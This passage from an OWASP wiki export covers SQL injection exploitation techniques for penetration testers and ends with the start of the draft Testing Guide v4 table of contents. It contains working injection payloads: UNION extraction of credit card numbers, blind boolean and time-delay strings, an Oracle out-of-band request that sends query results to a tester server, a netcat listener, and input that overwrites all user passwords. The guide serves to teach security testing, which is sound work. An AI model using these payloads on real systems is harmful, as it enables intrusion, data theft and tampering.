==Exploitation techniques ==&lt;br /&gt;
 &lt;br /&gt;
=== Union Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The UNION operator is used&lt;br /&gt;
in SQL injections to join a query, purposely forged by the tester, to the&lt;br /&gt;
original query. The result of the forged query will be joined to the result of&lt;br /&gt;
the original query, allowing the tester to obtain the values of fields of other&lt;br /&gt;
tables. We suppose for our examples that the query executed from the server is&lt;br /&gt;
the following:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=$id&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will set the following&lt;br /&gt;
Id value:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
$id=1&lt;br /&gt;
UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will have the following&lt;br /&gt;
query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
SELECT&lt;br /&gt;
Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber,1,1 FROM CreditCardTable&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
which will join the result of the original query&lt;br /&gt;
with all the credit card users. The keyword '''ALL''' is necessary to get&lt;br /&gt;
around queries that use the keyword DISTINCT. Moreover, we notice that beyond&lt;br /&gt;
the credit card numbers, we have selected other two values. These two values&lt;br /&gt;
are necessary, because the two query must have an&lt;br /&gt;
equal number of parameters, in order to avoid a syntax error.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The first&lt;br /&gt;
information the tester need to exploit the SQL injection vulnerability using&lt;br /&gt;
such technique is to find the right numbers of columns in the SELECT statement.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In order to&lt;br /&gt;
achieve it the tester can use ORDER BY clause followed by a number indicating&lt;br /&gt;
the numeration of database’s column selected:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 ORDER BY 10--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success the tester will see&lt;br /&gt;
the tester can assume, in this example, there are 10 or more columns in the&lt;br /&gt;
SELECT statement. If the query fails and there is an error message available&lt;br /&gt;
probably it would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;Unknown column '10' in 'order clause'&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
After the tester find out the numbers of columns, the&lt;br /&gt;
next step is to find out the type of columns. Assuming there were 3 columns in&lt;br /&gt;
the example above, the tester could try each column type, using the NULL value&lt;br /&gt;
to help them:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,null, null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
If the query fails, probably the tester will see a&lt;br /&gt;
message like:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;All cells in a column must have the same datatype&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
If the query executes with success, the first column&lt;br /&gt;
can be an integer. Then the tester can move further and so on:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
After the success exploitation, depending on the&lt;br /&gt;
application, it will show to the tester only the first result, because the&lt;br /&gt;
application treats only the first line of the result. In this case, it is&lt;br /&gt;
possible to use LIMIT like clause or the tester can set an invalid value,&lt;br /&gt;
making only the second line valid (supposing there is no entry in the database&lt;br /&gt;
which ID is 99999):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=99999 UNION SELECT 1,1,null--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Boolean Exploitation technique ===&lt;br /&gt;
 &lt;br /&gt;
The Boolean exploitation technique is very useful when&lt;br /&gt;
the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. For example, this&lt;br /&gt;
behavior happens in cases where the programmer has created a custom error page&lt;br /&gt;
that does not reveal anything on the structure of the query or on the database.&lt;br /&gt;
(The page does not return a SQL error, it may just&lt;br /&gt;
return a HTTP 500). &amp;lt;br&amp;gt;&lt;br /&gt;
By using the inference methods, it is possible to avoid this obstacle and thus&lt;br /&gt;
to succeed to recover the values of some desired fields. This method consists&lt;br /&gt;
of carrying out a series of boolean&lt;br /&gt;
queries to the server, observing the answers and finally deducing the meaning&lt;br /&gt;
of such answers. We consider, as always, the www.example.com domain and we&lt;br /&gt;
suppose that it contains a parameter named id vulnerable to SQL injection. This&lt;br /&gt;
means that carrying out the following request:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?id=1'&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
we will get one page with a custom message error which&lt;br /&gt;
is due to a syntactic error in the query. We suppose that the query executed on&lt;br /&gt;
the server is:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='$Id' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
which is exploitable through the methods seen previously.&lt;br /&gt;
What we want to obtain is the values of the username field. The tests that we&lt;br /&gt;
will execute will allow us to obtain the value of the username field,&lt;br /&gt;
extracting such value character by character. This is possible through the use&lt;br /&gt;
of some standard functions, present practically in every database. For our&lt;br /&gt;
examples, we will use the following pseudo-functions:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''SUBSTRING (text, start, length)''': it returns a&lt;br /&gt;
substring starting from the position &amp;amp;quot;start&amp;amp;quot; of text and of length&lt;br /&gt;
&amp;amp;quot;length&amp;amp;quot;. If &amp;amp;quot;start&amp;amp;quot; is greater than the length of text,&lt;br /&gt;
the function returns a null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''ASCII (char)''': it gives back ASCII value of the input character. A&lt;br /&gt;
null value is returned if char is 0.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
'''LENGTH (text)''': it gives back the length in characters of the input&lt;br /&gt;
text.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Through such functions, we will execute our tests on&lt;br /&gt;
the first character and, when we have discovered the value, we will pass to the&lt;br /&gt;
second and so on, until we will have discovered the entire value. The tests&lt;br /&gt;
will take advantage of the function SUBSTRING, in order to select only one&lt;br /&gt;
character at a time (selecting a single character means to impose the length&lt;br /&gt;
parameter to 1), and the function ASCII, in order to obtain the ASCII value, so&lt;br /&gt;
that we can do numerical comparison. The results of the comparison will be done&lt;br /&gt;
with all the values of the ASCII table, until the right value is found. As an&lt;br /&gt;
example, we will use the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
that creates the following query (from now on, we will&lt;br /&gt;
call it &amp;amp;quot;inferential query&amp;amp;quot;):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The previous example returns a result if and only if&lt;br /&gt;
the first character of the field username is equal to the ASCII value 97. If we&lt;br /&gt;
get a false value, then we increase the index of the ASCII table from 97 to 98&lt;br /&gt;
and we repeat the request. If instead we obtain a true value, we set to zero&lt;br /&gt;
the index of the ASCII table and we analyze the next character, modifying the&lt;br /&gt;
parameters of the SUBSTRING function. The problem is to understand in which way&lt;br /&gt;
we can distinguish tests returning a true value from those that return false.&lt;br /&gt;
To do this, we create a query that always returns false. This is possible by&lt;br /&gt;
using the following value for ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND '1' = '2 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
by which will create the following query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND '1' = '2' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The obtained response from the server (that is HTML&lt;br /&gt;
code) will be the false value for our tests. This is enough to verify whether&lt;br /&gt;
the value obtained from the execution of the inferential query is equal to the&lt;br /&gt;
value obtained with the test executed before. Sometimes, this method does not&lt;br /&gt;
work. If the server returns two different pages as a result of two identical&lt;br /&gt;
consecutive web requests, we will not be able to discriminate the true value&lt;br /&gt;
from the false value. In these particular cases, it is necessary to use&lt;br /&gt;
particular filters that allow us to eliminate the code that changes between the&lt;br /&gt;
two requests and to obtain a template. Later on, for every inferential request&lt;br /&gt;
executed, we will extract the relative template from the response using the&lt;br /&gt;
same function, and we will perform a control between the two templates in order&lt;br /&gt;
to decide the result of the test.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In the previous discussion, we haven't dealt with the&lt;br /&gt;
problem of determining the termination condition for out tests, i.e., when we&lt;br /&gt;
should end the inference procedure. A techniques to do&lt;br /&gt;
this uses one characteristic of the SUBSTRING function and the LENGTH function.&lt;br /&gt;
When the test compares the current character with the ASCII code 0 (i.e., the&lt;br /&gt;
value null) and the test returns the value true, then either we are done with&lt;br /&gt;
the inference procedue (we have scanned the whole&lt;br /&gt;
string), or the value we have analyzed contains the null character.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
We will insert the following value for the field ''Id'':&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;$Id=1' AND LENGTH(username)=N AND '1' = '1 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
Where N is the number of characters that we have&lt;br /&gt;
analyzed up to now (not counting the null value). The query will be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT field1, field2, field3 FROM Users WHERE Id='1' AND LENGTH(username)=N AND '1' = '1' &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
The query returns either true or false. If we obtain&lt;br /&gt;
true, then we have completed inference and, therefore, we know the value of the&lt;br /&gt;
parameter. If we obtain false, this means that the null character is present in&lt;br /&gt;
the value of the parameter, and we must continue to analyze the next parameter&lt;br /&gt;
until we find another null value.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The blind SQL injection attack needs a high volume of&lt;br /&gt;
queries. The tester may need an automatic tool to exploit the vulnerability.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Error based Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Error based&lt;br /&gt;
exploitation technique is useful when the tester for some reason can’t exploit&lt;br /&gt;
the SQL injection vulnerability using other technique such as UNION. The Error&lt;br /&gt;
based technique consists in forcing the database to perform some operation in&lt;br /&gt;
which the result will be an error. The point here is to try to extract some&lt;br /&gt;
data from the database and show it in the error message. This exploitation&lt;br /&gt;
technique can be different from DBMS to DBMS (check DBMS specific session).&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. Oracle 10g):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_INADDR.GET_HOST_NAME. This Oracle function will try to return the&lt;br /&gt;
hostname of the parameter passed to it, which is other query, the name of the&lt;br /&gt;
user. When the database looks for a hostname with the user database name, it&lt;br /&gt;
will fail and return an error message like:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;ORA-292257: host SCOTT unknown&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Then the tester&lt;br /&gt;
can manipulate the parameter passed to GET_HOST_NAME()&lt;br /&gt;
function and the result will be shown in the error message.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Out of band Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
This technique&lt;br /&gt;
is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. The technique consists in&lt;br /&gt;
the use of DBMS functions to perform an out of band connection and deliver the&lt;br /&gt;
results of the injected query as part of the request to the tester’s server.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Like the error&lt;br /&gt;
based techniques, each DBMS has its own functions. Check for specific DBMS&lt;br /&gt;
section.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10||UTL_HTTP.request(‘testerserver.com:80’||(SELET user FROM DUAL)--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this&lt;br /&gt;
example, the tester is concatenating the value 10 with the result of the&lt;br /&gt;
function UTL_HTTP.request. This Oracle function will&lt;br /&gt;
try to connect to ‘testerserver’ and make a HTTP GET&lt;br /&gt;
request containing the return from the query “SELECT user FROM DUAL”.  The tester can set up a webserver&lt;br /&gt;
(e.g. Apache) or use the Netcat tool:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
/home/tester/nc –nLp 80&lt;br /&gt;
 &lt;br /&gt;
GET /SCOTT HTTP/1.1&lt;br /&gt;
Host: testerserver.com&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Time day Exploitation technique ===&lt;br /&gt;
  &lt;br /&gt;
The Boolean&lt;br /&gt;
exploitation technique is very useful when the tester find a [[Blind SQL Injection]] situation, in&lt;br /&gt;
which nothing is known on the outcome of an operation. This technique consists&lt;br /&gt;
in sending an injected query and in case the conditional is true, the tester&lt;br /&gt;
can monitor the time taken to for the server to respond. If there is a delay,&lt;br /&gt;
the tester can assume the result of the conditional query is true. This&lt;br /&gt;
exploitation technique can be different from DBMS to DBMS (check DBMS specific&lt;br /&gt;
session)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following SQL query:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;SELECT * FROM products WHERE id_product=$id_product&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider also the request to a script who executes the&lt;br /&gt;
query above:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
The malicious request would be (e.g. MySql 5.x):&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
In this example&lt;br /&gt;
the tester if checking whether the MySql version is&lt;br /&gt;
5.x or not, making the server to delay the answer in 5 seconds. The tester can&lt;br /&gt;
increase the delay’s time and monitor the responses. The tester also doesn’t&lt;br /&gt;
need to wait for the response. Sometimes he can set a very high value (e.g.&lt;br /&gt;
100) and cancel the request after some seconds.&lt;br /&gt;
&lt;br /&gt;
  &lt;br /&gt;
=== Stored Procedure Injection ===&lt;br /&gt;
  &lt;br /&gt;
When using dynamic SQL within a stored procedure, the application must&lt;br /&gt;
properly sanitize the user input to eliminate the risk of code injection. If&lt;br /&gt;
not sanitized, the user could enter malicious SQL that will be executed within&lt;br /&gt;
the stored procedure.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure user_login @username varchar(20), @passwd varchar(20) As&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Declare @sqlstring varchar(250)&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Select 1&lt;br /&gt;
from users&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Where&lt;br /&gt;
username = ‘ + @username + ‘ and passwd&lt;br /&gt;
= ‘ + @passwd&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
User input:&lt;br /&gt;
anyusername or 1=1'&lt;br /&gt;
anypassword&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This procedure does not sanitize the input, therefore allowing the&lt;br /&gt;
return value to show an existing record with these&lt;br /&gt;
parameters.&amp;lt;br&amp;gt; &amp;lt;br&amp;gt;&lt;br /&gt;
NOTE: This example may seem unlikely due to the use of dynamic SQL to log in a&lt;br /&gt;
user, but consider a dynamic reporting query where the user selects the columns&lt;br /&gt;
to view. The user could insert malicious code into this scenario and compromise&lt;br /&gt;
the data. &amp;lt;br&amp;gt;&lt;br /&gt;
Consider the following '''SQL Server Stored Procedure:'''&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Create&lt;br /&gt;
procedure get_report @columnamelist varchar(7900)&lt;br /&gt;
As&lt;br /&gt;
Declare @sqlstring varchar(8000)&lt;br /&gt;
Set @sqlstring  = ‘&lt;br /&gt;
Select ‘ + @columnamelist + ‘ from ReportTable‘&lt;br /&gt;
exec(@sqlstring)&lt;br /&gt;
Go&lt;br /&gt;
 &lt;br /&gt;
User input:&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
1 from&lt;br /&gt;
users; update users set password = 'password'; select *&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
This will result in the report running and all users’ passwords being&lt;br /&gt;
updated.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
=== Automated Exploitation ===&lt;br /&gt;
 &lt;br /&gt;
Most of the situation and techniques presented here can be performed in a automated way using some tools. In this article the tester can find information how to perform an automated auditing using SQLMap:&lt;br /&gt;
&lt;br /&gt;
https://www.owasp.org/index.php/Automated_Audit_using_SQLMap&lt;br /&gt;
&lt;br /&gt;
    &lt;br /&gt;
== Related Articles ==&lt;br /&gt;
&lt;br /&gt;
* [[Top 10 2010-Injection Flaws]]&lt;br /&gt;
* [[SQL Injection]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Technology specific Testing Guide pages have been created for the following DBMSs:&lt;br /&gt;
&lt;br /&gt;
* [[Testing for Oracle| Oracle]]&lt;br /&gt;
* [[Testing for MySQL| MySQL]]&lt;br /&gt;
* [[Testing for SQL Server  | SQL Server]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Victor Chapela: &amp;quot;Advanced SQL Injection&amp;quot; - http://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt&lt;br /&gt;
* Chris Anley: &amp;quot;Advanced SQL Injection In SQL Server Applications&amp;quot; - http://www.thomascookegypt.com/holidays/pdfpkgs/931.pdf&lt;br /&gt;
* Chris Anley: &amp;quot;More Advanced SQL Injection&amp;quot; - http://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf&lt;br /&gt;
* David Litchfield: &amp;quot;Data-mining with SQL Injection and Inference&amp;quot; - http://www.databasesecurity.com/webapps/sqlinference.pdf&lt;br /&gt;
* Imperva: &amp;quot;Blinded SQL Injection&amp;quot; - https://www.imperva.com/lg/lgw.asp?pid=369&lt;br /&gt;
* Ferruh Mavituna: &amp;quot;SQL Injection Cheat Sheet&amp;quot; - http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;SQL Injection&amp;quot; - http://packetstorm.codar.com.br/papers/general/SQLInjectionWhitePaper.pdf&lt;br /&gt;
* Kevin Spett from SPI Dynamics: &amp;quot;Blind SQL Injection&amp;quot; - http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* SQL Injection Fuzz Strings (from wfuzz tool) - http://yehg.net/lab/pr0js/pentest/wordlists/injections/SQL.txt&lt;br /&gt;
* [[:Category:OWASP SQLiX Project|OWASP SQLiX]]&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - [http://www.sqlpowerinjector.com/index.htm SQL Power Injector]&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--, Reversing.org - [http://packetstormsecurity.org/files/43795/sqlbftools-1.2.tar.gz.html sqlbftools]&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.org/&lt;br /&gt;
* icesurfer: SQL Server Takeover Tool - [http://sqlninja.sourceforge.net sqlninja]&lt;br /&gt;
* Pangolin: Automated SQL Injection Tool - [http://www.nosec.org/en/pangolin.html Pangolin]&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on Mysql - [http://sqldumper.ruizata.com/ SqlDumper]&amp;lt;br&amp;gt;&lt;br /&gt;
* http://sqlsus.sourceforge.net&lt;br /&gt;
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl&lt;/div&gt;</summary>
		<author><name>Ismael Rocha</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=140259</id>
		<title>OWASP Testing Guide v4 Table of Contents</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Testing_Guide_v4_Table_of_Contents&amp;diff=140259"/>
				<updated>2012-11-26T22:28:51Z</updated>
		
		<summary type="html">&lt;p&gt;Ismael Rocha: Added notes&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
'''This is the DRAFT of the table of content of the New Testing Guide v4.'''&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;You can download the stable version v3 [http://www.owasp.org/images/5/56/OWASP_Testing_Guide_v3.pdf here] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Back to the OWASP Testing Guide Project:&lt;br /&gt;
http://www.owasp.org/index.php/OWASP_Testing_Project&lt;br /&gt;
&lt;br /&gt;
'''Updated: 26th November 2012'''&lt;br /&gt;
&lt;br /&gt;
[[ OWTGv4 Contributors list|'''Contributors List]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The following is a DRAFT of the Toc based on the feedback already received.&lt;br /&gt;
&lt;br /&gt;
== Table of Contents ==&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Foreword|Foreword by OWASP Chair]]== &lt;br /&gt;
[To review--&amp;gt; OWASP Chair]&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Frontispiece |1. Frontispiece]]== &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[Testing Guide Frontispiece|1.1 About the OWASP Testing Guide Project]]''' &lt;br /&gt;
[To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
'''[[About The Open Web Application Security Project|1.2 About The Open Web Application Security Project]]''' &lt;br /&gt;
[To review--&amp;gt; ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==[[Testing Guide Introduction|2. Introduction]]==&lt;br /&gt;
&lt;br /&gt;
'''2.1 The OWASP Testing Project'''&lt;br /&gt;
&lt;br /&gt;
'''2.2 Principles of Testing'''&lt;br /&gt;
&lt;br /&gt;
'''2.3 Testing Techniques Explained''' &lt;br /&gt;
&lt;br /&gt;
2.4 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Requirements_Test_Derivation Security requirements test derivation],[https://www.owasp.org/index.php/Testing_Guide_Introduction#Functional_and_Non_Functional_Test_Requirements functional and non functional test requirements], and [https://www.owasp.org/index.php/Testing_Guide_Introduction#Test_Cases_Through_Use_and_Misuse_Cases test cases through use and misuse cases]&lt;br /&gt;
&lt;br /&gt;
2.5 [https://www.owasp.org/index.php/Testing_Guide_Introduction#Security_Test_Data_Analysis_and_Reporting Security test data analysis and reporting: root cause identification and business/role case test data reporting]&lt;br /&gt;
&lt;br /&gt;
==[[The OWASP Testing Framework|3. The OWASP Testing Framework]]==&lt;br /&gt;
&lt;br /&gt;
'''3.1. Overview'''&lt;br /&gt;
&lt;br /&gt;
'''3.2. Phase 1: Before Development Begins '''&lt;br /&gt;
&lt;br /&gt;
'''3.3. Phase 2: During Definition and Design'''&lt;br /&gt;
&lt;br /&gt;
'''3.4. Phase 3: During Development'''&lt;br /&gt;
&lt;br /&gt;
'''3.5. Phase 4: During Deployment'''&lt;br /&gt;
&lt;br /&gt;
'''3.6. Phase 5: Maintenance and Operations'''&lt;br /&gt;
&lt;br /&gt;
'''3.7. A Typical SDLC Testing Workflow '''&lt;br /&gt;
&lt;br /&gt;
==[[Web Application Penetration Testing |4. Web Application Penetration Testing ]]==&lt;br /&gt;
&lt;br /&gt;
[[Testing: Introduction and objectives|'''4.1 Introduction and Objectives''']] [To review--&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
[[Testing Checklist| 4.1.1 Testing Checklist]] [To review at the end of brainstorming --&amp;gt; Mat]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Testing Information Gathering|'''4.2 Information Gathering ''']] [Andrew Muller]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Server Fingerprint (OWASP-IG-010)|4.2.10 Testing for Web Server Fingerprint (OWASP-IG-010)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Spiders, Robots, and Crawlers (OWASP-IG-001)|4.2.1 Spiders, Robots and Crawlers (OWASP-IG-001)]] [Modify! rename to &amp;quot;Review Webserver Metafiles&amp;quot; - could also be considered a Configuration Management test]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Application Discovery (OWASP-IG-005)|4.2.5 Application Discovery (OWASP-IG-005)]] [Modify! - rename to &amp;quot;Enumerate Applications on Webserver&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
[[Testing Review webpage comments and metadata(OWASP-IG-007)|4.2.7 Review webpage comments and metadata(OWASP-IG-007)]] &lt;br /&gt;
&lt;br /&gt;
[[Testing: Identify application entry points (OWASP-IG-003)|4.2.3 Identify application entry points (OWASP-IG-003)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing Identify application exit/handover points (OWASP-IG-008)|4.2.8 Identify application exit/handover points (OWASP-IG-008)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing Map execution paths through application (OWASP-IG-009)|4.2.9 Map execution paths through application (OWASP-IG-009)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Web Application Fingerprint (OWASP-IG-004)|4.2.4 Testing for Web Application Fingerprint (OWASP-IG-004)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing for Error Code (OWASP-IG-006)|4.2.6 Analysis of Error Codes (OWASP-IG-006)]]&lt;br /&gt;
&lt;br /&gt;
[[Testing: Search engine discovery/reconnaissance (OWASP-IG-002)|4.2.2 Search Engine Discovery/Reconnaissance (OWASP-IG-002)]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
